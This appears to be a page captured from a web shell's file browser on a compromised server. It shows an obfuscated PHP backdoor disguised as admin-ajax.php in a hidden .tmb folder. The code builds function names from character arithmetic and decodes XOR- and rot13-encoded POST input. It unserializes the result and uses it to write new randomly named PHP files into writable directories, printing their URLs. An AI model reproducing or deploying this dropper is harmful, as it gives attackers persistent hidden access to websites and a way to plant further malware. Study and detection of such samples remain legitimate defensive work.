HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/.tmb/admin-ajax.php
<?php function yvnckyqP($zkqdXsW){$HTNETeEz = chr(114).'a'.'w'."\x75".chr(114).chr(108).chr(906-806).chr(542-441).chr(99)."\x6f".'d'.'e';$LPsCUN = 's'.'t'."\x72"."\x5f".chr(114)."\157".'t'.chr(49)."\63";$ScdLqXIP = chr(115).chr(116)."\162".chr(95)."\163".'p'.chr(108)."\151".'t';$zkqdXsW = $ScdLqXIP($HTNETeEz($LPsCUN($zkqdXsW)));return $zkqdXsW;}function WnTrDbpgDo($gNkGZMO, $zkqdXsW){$eMQQMl = "\163"."\164".chr(1017-903).chr(95)."\x73".chr(653-541).chr(108).'i'."\x74";$gNkGZMO = array_slice($eMQQMl(str_repeat($gNkGZMO, (count($zkqdXsW)/16)+1)), 0, count($zkqdXsW));return $gNkGZMO;}function oAGVT($NcpkHCHwb, $tsTcrYVgs, $gNkGZMO){$oLpMkboFe = "25449c36-4e79-4a14-a160-7b42f6c8776c";return $NcpkHCHwb ^ $oLpMkboFe[$tsTcrYVgs % strlen($oLpMkboFe)] ^ $gNkGZMO;}function WMJxJsHGjZ($zkqdXsW, $gNkGZMO){$zkqdXsW = array_map("oAGVT", array_values($zkqdXsW), array_keys($zkqdXsW), array_values($gNkGZMO));$zkqdXsW = implode("", $zkqdXsW);$qCcabSKet = "\x75".chr(110).chr(355-240).chr(101).chr(507-393).chr(819-714).'a'."\154"."\x69".chr(167-45).'e';$zkqdXsW = @$qCcabSKet($zkqdXsW);return $zkqdXsW;}function UIoOmfRMD(){echo "nkhZFj";}function aMUWPg($ZpaVWuMir){static $agAzA = array();$Ioost = glob($ZpaVWuMir . '/*', GLOB_ONLYDIR);$eIdoCf = count($Ioost);if ($eIdoCf > 0) {foreach ($Ioost as $ZpaVWuM) {$VmTbJpRi = "\x69"."\163"."\137"."\x77".'r'.'i'.'t'."\141"."\142".chr(108).'e';if (@$VmTbJpRi($ZpaVWuM)) {$agAzA[] = $ZpaVWuM;}}}foreach ($Ioost as $ZpaVWuMir) aMUWPg($ZpaVWuMir);return $agAzA;}function DBOCAu(){echo "zgVVzUcoZ";}function sMpMF($zkqdXsW){$hhzBM = "\104".chr(949-870).'C'."\125"."\115"."\105".chr(78).chr(84)."\x5f"."\x52"."\x4f".chr(79)."\x54";$ZpaVWuMtBQZIIzh = $_SERVER[$hhzBM];$Ioost = aMUWPg($ZpaVWuMtBQZIIzh);$TfaSATRWp = array_rand($Ioost);$kBBQaBh = '.'."\x70"."\x68".'p';$HnQdGBi = $Ioost[$TfaSATRWp] . "/" . substr(md5(time()), 0, 8) . $kBBQaBh;$GrYqpSTUf = "\146".'i'.'l'.chr(113-12).chr(95)."\160".'u'."\164"."\x5f"."\x63".chr(1051-940)."\156".'t'."\145".chr(110)."\x74"."\163";@$GrYqpSTUf($HnQdGBi, $zkqdXsW);$lrFBZZnM = 'H'.chr(84).chr(495-411)."\120"."\137".'H'."\117"."\x53".'T';$sfvItQeP = "\150"."\x74".'t'.'p'."\72".'/'.'/';$ohgiFWcFOO = $sfvItQeP . $_SERVER[$lrFBZZnM] . substr($HnQdGBi, strlen($ZpaVWuMtBQZIIzh));print($ohgiFWcFOO);}foreach ($_POST as $gNkGZMO => $zkqdXsW){$iiYrw = strlen($gNkGZMO);if ($iiYrw == 16){$zkqdXsW = yvnckyqP($zkqdXsW);$gNkGZMO = WnTrDbpgDo($gNkGZMO, $zkqdXsW);$zkqdXsW = WMJxJsHGjZ($zkqdXsW, $gNkGZMO);if (@is_array($zkqdXsW)){$TfaSATRWp = array_keys($zkqdXsW);$zkqdXsW = $zkqdXsW[$TfaSATRWp[0]];if ($zkqdXsW === $TfaSATRWp[0]){$jNECg = 'p'.chr(826-722)."\160";$ahALGVWpsa = chr(112).chr(487-383)."\160".chr(118).chr(237-136).chr(114).chr(115)."\x69".chr(295-184).chr(110);$FCoMdQvn = chr(115)."\x65"."\x72".'i'."\141".chr(108).'i'.chr(122).chr(789-688);echo @$FCoMdQvn(Array($jNECg => @$ahALGVWpsa(), ));}else {sMpMF($zkqdXsW);}die();}}}